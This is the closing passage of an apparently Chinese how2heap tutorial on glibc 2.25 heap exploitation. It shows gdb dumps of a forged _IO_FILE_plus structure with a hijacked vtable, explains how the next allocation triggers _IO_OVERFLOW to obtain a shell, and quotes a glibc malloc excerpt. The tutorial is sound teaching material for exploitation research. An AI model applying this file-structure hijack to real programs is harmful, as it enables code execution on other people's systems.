0x602410:   0x00007ffff7dd1b58  0x00007ffff7dd24f0
0x602420:   0x0000000000000002  0x0000000000000003
0x602430:   0x0000000000000000  0x0000000000000000
0x602440:   0x0000000000000000  0x0000000000000000
0x602450:   0x0000000000000000  0x0000000000000000
0x602460:   0x0000000000000000  0x0000000000000000
0x602470:   0x0000000000000000  0x0000000000400777
0x602480:   0x0000000000000000  0x0000000000000000
0x602490:   0x0000000000000000  0x0000000000000000
0x6024a0:   0x0000000000000000  0x0000000000000000
0x6024b0:   0x0000000000000000  0x0000000000000000
0x6024c0:   0x0000000000000000  0x0000000000000000
0x6024d0:   0x0000000000000000  0x0000000000602460
0x6024e0:   0x0000000000000000  0x0000000000000000
PwnLife> p *((struct _IO_FILE_plus *) 0x602400)
$20 = {
  file = {
    _flags = 1852400175,
    _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>,
    _IO_read_end = 0x7ffff7dd1b58 <main_arena+88> "\020@b",
    _IO_read_base = 0x7ffff7dd24f0 "",
    _IO_write_base = 0x2 <error: Cannot access memory at address 0x2>,
    _IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>,
    _IO_write_end = 0x0,
    _IO_buf_base = 0x0,
    _IO_buf_end = 0x0,
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x0,
    _fileno = 0,
    _flags2 = 0,
    _old_offset = 4196215,
    _cur_column = 0,
    _vtable_offset = 0 '\000',
    _shortbuf = "",
    _lock = 0x0,
    _offset = 0,
    _codecvt = 0x0,
    _wide_data = 0x0,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = 0,
    _unused2 = '\000' <repeats 19 times>
  },
  vtable = 0x602460
}

最后随意分配一个 chunk,由于 size<= 2*SIZE_SZ,所以会触发 _IO_flush_all_lockp 中的 _IO_OVERFLOW 函数,获得 shell。

for (;; )
    {
      int iters = 0;
      while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
        {
          bck = victim->bk;
          if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
              || __builtin_expect (victim->size > av->system_mem, 0))
            malloc_printerr (check_action, "malloc(): memory corruption",
                             chunk2mem (victim), av);
          size = chunksize (victim)

总结

关于how2heap 中 glibc 2.25的内容就到这里结束了。

关于 glibc 2.26 更多到是一些新版本 glibc 的check的bypass...就不准备再写成文章发出来了。

源链接

Hacking more

...